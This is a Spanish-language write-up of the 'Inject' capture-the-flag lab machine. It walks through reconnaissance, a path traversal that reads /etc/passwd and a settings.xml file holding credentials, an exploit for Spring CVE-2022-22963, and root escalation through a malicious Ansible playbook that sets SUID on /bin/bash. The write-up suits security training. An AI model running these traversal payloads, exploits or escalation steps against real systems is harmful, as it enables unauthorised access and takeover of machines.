Inject

Path traversal en image viewer expone credenciales → Spring RCE (CVE-2022-22963) → escalada con Ansible playbook malicioso ejecutado por cron root.

Machine IP: 10.10.11.204

Reconocimiento

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.204 -oG allPorts

Puertos abiertos: 22 y 8080.

nmap -sCV -p22,8080 10.10.11.204 -oN targeted
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home

Enumeración de directorios:

gobuster dir -u http://10.10.11.204:8080/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
/register   (Status: 200)
/upload     (Status: 200)
/blogs      (Status: 200)

Path Traversal

Subimos una imagen. El servidor responde con:

http://10.10.11.204:8080/show_image?img=exploit.png

El parámetro img no valida la ruta — path traversal directo:

curl -s "http://10.10.11.204:8080/show_image?img=../../../../../../etc/passwd"

Funciona. Usuarios con bash: root, frank, phil.

En ../../../../../../home/frank/.m2/settings.xml encontramos credenciales:

<username>phil</username>
<password>DocPhillovestoInject123</password>

Spring RCE — CVE-2022-22963

Revisando /release_notes y el pom.xml confirmamos Spring Framework vulnerable. Usamos exploit público:

python3 exploit.py -u http://10.10.11.204:8080

Shell como frank. Pivotamos a phil con las credenciales del settings.xml:

su phil  # DocPhillovestoInject123

User flag obtenida.

Escalada → root

Monitorizamos procesos con pspy64:

/bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml

Un cron root ejecuta todos los .yml en /opt/automation/tasks/. Tenemos escritura en ese directorio.

El playbook original:

- hosts: localhost
  tasks:
  - name: Checking webapp service
    ansible.builtin.systemd:
      name: webapp
      enabled: yes
      state: started

Creamos un playbook malicioso:

- hosts: localhost
  tasks:
  - name: pwn
    ansible.builtin.shell: chmod +s /bin/bash

Esperamos el siguiente ciclo del cron y ejecutamos:

bash -p
# whoami → root

Root shell obtenida.

Happy Hacking!!